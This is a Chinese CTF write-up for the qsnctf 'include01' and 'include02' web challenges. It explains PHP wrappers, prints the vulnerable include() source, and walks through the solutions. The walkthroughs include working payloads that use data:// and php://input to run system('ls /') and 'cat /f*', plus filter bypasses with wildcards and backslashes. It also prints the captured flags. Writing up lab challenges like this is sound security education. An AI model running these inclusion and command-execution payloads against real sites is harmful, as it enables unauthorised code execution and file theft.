首页 > 其他分享 >青少年CTF-qsnctf-Web-include01&include02(多种方法-知识点较多-建议收藏!)

青少年CTF-qsnctf-Web-include01&include02(多种方法-知识点较多-建议收藏!)

时间:2023-12-23 17:33:05浏览次数:29  
标签:知识点 Web 协议 qsnctf flag file input php data

PHP常见伪协议

php://filter是PHP中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。官方解释为:php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。

php://data协议是PHP中的一种特殊协议,可以在包含函数中被用来执行一些特殊的操作。它没有条件限制,但仅能用于在CTF(Capture The Flag)中读取本地文件,且不受allow_url_fopen与allow_url_include的影响。

php://input是PHP提供的一个伪协议,允许开发者访问POST请求的原始内容。它是一个只读流,可以获取POST请求数据的协议。当enctype="multipart/form-data"时, php://input是无效的。

<a name="skayJ"></a>

include01

题目环境:<br />image.png

出题人:末心 题目难度:★ 题目描述:你能否获取Flag呢,flag格式为:qsnctf{xxx}。

image.png

<?php
  error_reporting(0);
if (isset($_GET['file'])) {
  if (!strpos($_GET["file"], "flag")) {
    include $_GET["file"];
  } else {
    echo "Hack!!!";
  }
} else {
  highlight_file(__FILE__);
}
?>
<hr>
你能否获取Flag?<br>
<a rel="nofollow" href="hello.php">hello</a>
你能否获取Flag?
hello
PHP代码审计
1.给了一个参数file
2.strpos函数用来查找flag在字符串中第一次出现的位置
3.!是取反就是相反的意思 如果存在flag关键字那么就会显示Hack!!!
那么简单来说就是我们的flag关键字被过滤了!
绕过方式也有很多种 这里就主要通过字符来绕过这个flag关键字过滤

filter伪协议

查看index.php的内容 并将其内容以base64编码形式显示出来

?file=php://filter/read=convert.base64-encode/resource=index.php<br />image.png<br />image.png

解码之后也就是题目的源码

查看flag的内容 并将其内容以base64编码显示出来 使用*号绕过flag关键字过滤 意为查看f开头的所有文件

?file=php://filter/read=convert.base64-encode/resource=f*<br />image.png

没有显示任何内容 显然filter协议是不适合这道题目的

data伪协议

第一种解法

使用data协议获取本地内容 phpinfo()打开PHP配置信息

?file=data://text/plain,<?php phpinfo();?><br />image.png

成功执行 Ctrl+F搜索flag在配置信息中的位置

image.png

在第五条信息中发现了flag的存在

第二种解法

使用data伪协议获取本地内容 并且调用外部执行命令 system外部执行命令

列出根目录下的所有目录以及文件

?file=data://text/plain,<?php system("ls /");?><br />image.png

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

在根目录下发现了flag文件的存在

查看根目录下的flag文件内容 f*代表f开头的所有文件 因为根目录下只有flag这一个f开头的文件 所以查看的就是flag文件的内容咯

?file=data://text/plain,<?php system("cat /f*");?><br />image.png

input伪协议

需要的工具 火狐浏览器 Max HacKBar插件

第一种解法

访问POST请求的原始内容 phpinfo()查看PHP的配置信息

URL网页链接就是GET请求数据

?file=php://input

POST请求数据

<?php phpinfo();?><br />image.png

成功执行 Ctrl+F搜索flag在配置信息中的位置

image.png

在第五条信息中发现了flag的存在

第二种解法

使用input伪协议访问POST请求的原始内容 并且调用外部执行命令 system外部执行命令

URL网页链接就是GET请求数据

?file=php://input

POST请求数据

列出根目录下的所有目录以及文件

<?php system("ls /");?><br />image.png

 bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var  

在根目录下发现flag文件的存在

查看根目录下的flag文件内容 通过fl\ag绕过flag关键字过滤

GET请求数据不用管了

POST请求数据

<?php system("cat /fl\ag");?><br />image.png

得到flag:<br />qsnctf{5f6cef0f-f83c-4b60-a0a8-e97c755ae457}

<a name="pNctW"></a>

include02

题目环境:<br />image.png

出题人:末心 题目难度:★ 题目描述:这道题修改了一些东西哦!你还能做出来吗,flag格式为:qsnctf{xxx}。

image.png

禁用了input伪协议

输入框随便输入值进入check.php界面

image.png

删除file参数查看check.php源代码

image.png

<?php
  error_reporting(0);
if (isset($_GET['file'])) {
  if (!strpos($_GET["file"], "input") && !strpos($_GET["file"], "flag")) {
    include $_GET["file"];
  } else {
    echo "Hack!!!";
  }
} else {
  highlight_file(__FILE__);
}
?>
<hr>
你能否获取Flag?<br>
<a rel="nofollow" href="hello.php">hello</a>
你能否获取Flag?
hello
PHP代码审计
相比include01 这道题目多增加了一个过滤 
过滤了input关键字 进而导致input伪协议不能使用

filter伪协议

查看flag的内容 并将其内容以base64编码形式显示出来 f???代替flag 意思是文件名f开头并且文件名是4位的文件

?file=php://filter/read=convert.base64-encode/resource=f???<br />image.png

filter伪协议依旧是不适用此题目

由于input关键字被过滤导致input伪协议不能使用 就直接使用data伪协议了

data伪协议

第一种解法

使用data伪协议获取本地内容 phpinfo()打开PHP配置信息

?file=data://text/plain,<?php phpinfo();?><br />image.png

成功执行 Ctrl+F搜索flag在配置信息中的位置

image.png

在第五条信息中发现了flag

第二种解法

使用data协议获取本地内容 并且调用外部执行命令 system外部执行命令

列出根目录下的所有目录以及文件

?file=data://text/plain,<?php system("ls /");?><br />image.png

bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

在根目录下发现了flag文件的存在

查看根目录下的flag文件内容 f???代替flag 意思是文件名f开头并且文件名是4位的文件

?file=data://text/plain,<?php system("cat /f???");?><br />image.png

得到flag:<br />qsnctf{0ed8d987-ba51-490e-9775-e0974ccf0a06}

<br />

标签:知识点,Web,协议,qsnctf,flag,file,input,php,data
From: https://blog.51cto.com/u_16306712/8945563

相关文章

  • 16 json web token的基本介绍
    jwt全拼是jsonwebtoken。就是服务端给客户端一个加密的字符串。这个字符串中包含了一些信息,比如用户信息等。浏览器每次访问服务端时候,会携带这个字符串。然后服务的获取这个字符串后,通过解密,就可以获取携带的信息,比如用户信息等。这个加密的字符串,包含3部分内容,就是头部+负载+......
  • cookie的一些知识点总结
    一、cookie的种类sessionID这个ID是会话性的,只要关闭了当前浏览器,这个ID会消失,需要调用getSessoin重新获取一个新的session会话性cookie这个cookie也是会话性的即使性cookie这个cookie只要离开的该请求或者是页面,就会消失持久性cookie这个cookie只要时间没有过期,就会存储......
  • 解决Electron中WebView加载部分HTTPS页面白屏的方法
    Electron是一个开源的桌面应用程序框架,它允许使用Web技术构建跨平台的桌面应用。在Electron应用中,WebView是一个常用的组件,用于嵌套加载Web内容。然而,有时候在加载使用HTTPS协议的页面时,可能会因为证书问题导致白屏现象。问题描述:当WebView尝试加载某些HTTPS页面时,如果页面的......
  • web富文本编辑框(2022-12-16)
    之所以加个时间,是因为在找一款合适的富文本编辑器的时候,发现好的多次被转载的帖子中推荐的那些所谓的开源编辑器都已经是付费产品了。于是耗费了大量时间从google中找了一些开源编辑器,这里简单记一笔。由于找到了够用的之后就没继续找了。1、https://simditor.tower.im/......
  • Spring Security without the WebSecurityConfigurerAdapter
     ENGINEERING | ELEFTHERIASTEIN-KOUSATHANA | FEBRUARY21,2022 | ...InSpringSecurity5.7.0-M2we deprecated the WebSecurityConfigurerAdapter,asweencourageuserstomovetowardsacomponent-basedsecurityconfiguration.Toassistwiththet......
  • javaWeb中文乱码
    问题归类1.登录时无法用中文名登录2.页面修改数据,后端传入乱码解决方法1.数据库看看数据库编码集是不是中文编码集如果不是可以在数据库中运行下面语句ALTERDATABASE数据库CHARACTERSET=utf8mb42.数据库连接关键是characterEncoding=utf8没有的加上url=jdb......
  • javaweb中的设计模式
    1.监听器基于观察者模式。1.myTestEvent自定义事件。被观察者publicclassMyTestEventextendsApplicationEvent2.MyNoAnnotationListener自定义监听器。观察者@ComponentpublicclassMyNoAnnotationListenerimplementsApplicationListener<MyTestEvent>{@Override......
  • 项目里出现两个配置类继承WebMvcConfigurationSupport时,为什么只有一个会生效(源码分析
    为什么我们的项目里出现两个配置类继承WebMvcConfigurationSupport时,只有一个会生效。我在网上找了半天都是说结果的,没有人分析源码到底是为啥,博主准备讲解一下,希望可以帮到大家!大家基本遇到过一种情况,就是我配置类中已经配置了,为什么就是没有生效呢?其中一种原因就是,自己写的......
  • [VUE] WebPack 打包后自动修改 dist 中 package.json 版本号
    我们在开发npm包时,开发期的package.json通常并不一定是发布到npm仓库的package.json。这种情况下每次改版本号需要改两个地方,比较麻烦。我一般使用webpack进行打包,所以有了下面这个小插件。插件源码modify.version.plugin.js/**修改版本号webpack插件*/functi......
  • 使用代码生成工具快速开发应用-结合后端Web API提供接口和前端页面快速生成,实现通用的
    在前面随笔《在Winform应用中增加通用的业务编码规则生成》,我介绍了基于Winform和WPF的一个通用的业务编码规则的管理功能,本篇随笔介绍基于后端WebAPI接口,实现快速的Vue3+ElementPlus前端界面的开发整合,同样是基于代码生成工具实现快速的前端代码的生成处理。1、通用的业务编码......